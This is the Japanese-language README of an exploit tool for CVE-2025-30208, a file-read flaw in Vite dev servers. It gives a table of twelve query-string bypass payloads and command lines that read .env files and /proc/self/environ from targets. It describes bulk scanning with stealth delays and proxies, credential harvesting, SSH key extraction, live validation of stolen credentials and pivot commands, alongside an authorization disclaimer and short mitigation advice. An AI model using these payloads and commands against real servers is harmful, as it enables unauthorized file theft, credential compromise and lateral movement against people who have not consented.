
CVE-2025-30208(Vite任意ファイル読み取り)用エクスプロイトスキャナー。多変種バイパス検出、資格情報収集、SSHキー抽出、および許可された侵入テスト用の構造化レポートを備えています。
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
重要度: CVSS 5.3 中程度(ネットワークからアクセス可能な dev サーバー)
⚠ 認可されたセキュリティエンゲージメント専用です。
所有していない、または明示的な書面によるテスト許可を得ていないシステムに対する無許可の使用は違法です。
Vite の dev サーバーは、/@fs/ リクエストを介してホストファイルシステムから任意のファイルを提供できます。
影響を受けるバージョンではクエリ文字列のサニタイズチェックが欠如しているため、攻撃者は特別に細工されたサフィックスを追加して許可リストをバイパスし、プロセスがアクセスできる任意のファイル(.env ファイル、SSH秘密鍵、クラウド資格情報、/proc エントリなど)を読み取ることができます。
| ブランチ | 最終脆弱バージョン | パッチ適用済み |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| 名前 | サフィックス / クエリ | 説明 |
|---|---|---|
raw?? | ?raw?? | 末尾の ?? が rawRE を破壊する |
import&raw?? | ?import&raw?? | ES モジュール + raw の組み合わせ |
raw? | ?raw? | 末尾の ? が1つだけ |
url&raw?? | ?url&raw?? | URL モードとの組み合わせ |
raw&url?? | ?raw&url?? | パラメータ順序の逆転 |
import&?raw | ?import&?raw | 不正な import プレフィックス |
sec-fetch | ?raw + Sec-Fetch header | ブラウザスクリプトコンテキスト |
raw-encoded | ?raw%3f%3f | URL エンコードされた区切り文字 |
double-slash | ?raw??/ | ダブルスラッシュのサフィックスによるバイパス(v5) |
pct-all | %3fraw%3f%3f | 完全にパーセントエンコードされたクエリ(v5) |
raw-hash | ?raw??# | フラグメントアンカーによるバイパス(v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 の関連脆弱性(wasm init) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| フラグ | デフォルト | 説明 |
|---|---|---|
-t/--target | — | 単一ターゲットのURL |
-l/--lists | — | 1行に1ターゲットを記載したファイル |
--stealth | off | リクエスト間にランダムな遅延を追加 |
--proxy | — | HTTP/HTTPS プロキシ(http://host:port) |
--timeout | 10 | リクエストごとのタイムアウト(秒) |
--verify | off | TLS証明書の検証を有効化 |
--file | — | ターゲットホスト上の特定パスを読み取る |
--save | — | --file の内容をローカルパスに保存 |
--full-chain | on | 完全なエクスプロイトチェーンを実行(ライブ検証がデフォルト) |
--output | — | JSON + Markdown レポートをこのベースパスに書き出す |
--workers | 10 | バルクスキャンの並列ワーカー数 |
--ports | 下記参照 | バルクモードでプローブするポートのカンマ区切りリスト |
--no-color/--plain | off | ANSI カラーコードを無効化 |
--safe-mode | off | 端末出力のシークレット値を伏せ字にする |
--show-secrets | off | 端末にシークレットを完全表示(--safe-mode を上書き) |
--version | — | バージョンを表示して終了 |
バルクスキャンのデフォルトポート: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
--output /tmp/report が指定されると、スキャナーは以下を書き出します:
/tmp/report.json — 機械可読な構造化された検出結果/tmp/report.md — 人間が読みやすいMarkdownレポートバルクスキャンは、シェルスクリプトを容易にするため、常に最終行に VULN_COUNT=N を出力します:
python main.py -l targets.txt | grep '^VULN_COUNT='
単一ターゲットスキャンは、自動化のために最後に SCAN_STATUS=VULNERABLE|NOT_VULNERABLE を出力します。
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
スキャナーは反復する成果物を自動的に抑制するため、HOME が /root と等しい場合や、同じシークレットが複数のファイルに出現する場合でも出力はクリーンに保たれます:
| レイヤー | メカニズム |
|---|---|
| ファイルシステム読み取り | stage_fs は dict.fromkeys でSSHキーのベースリストを正規化し、出力が生成される前に reads キューから重複パスを削除します。 |
| ファイル保存 | Scanner._save はスキャンごとの _seen_file_paths セットを確認します。重複パスは r.files に再追加せず、既に保存されている FR を返します。 |
| シークレット | Scanner._save は全ファイルにわたって r.secrets を (name, value) でグローバルに重複排除します。ファイル内の重複排除は scan_secrets で別途処理されます。 |
| SSHキー | stage_ssh は複数のソースファイルに出現する、同じPEM署名(先頭 _PEM_SIG_LEN バイト)を持つキーをまとめます。 |
| ピボットコマンド | ピボットブロックは (key_source, host, port) をキーとし、同一の組み合わせは一度だけ出力されます。 |
サマリー行は、重複として抑制されたファイル、シークレット、SSHキーの数を報告します。例:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0 を指定して Vite dev サーバーを起動することは絶対にしないでください。.env ファイルを監査し、プロジェクトから不要なシークレットを削除してください。このツールは認可されたペネトレーションテストおよびセキュリティ研究専用として提供されます。
このツールを使用することで、ターゲットシステムをテストする明示的な書面による許可を得ていることに同意したものとみなされます。
著者は、本ソフトウェアによって引き起こされた誤用または損害について一切の責任を負いません。
CVE-2025-30208 PoC v5
生成されるJSONには現在以下が含まれます:
schema_version(現在: 1.0.0)status(VULNERABLE または NOT_VULNERABLE)safe_mode(端末のシークレット伏せ字モードが有効な場合 true)report_redacted(少なくとも1つのシークレットが存在し、保存されたレポートで伏せ字にされた場合 true)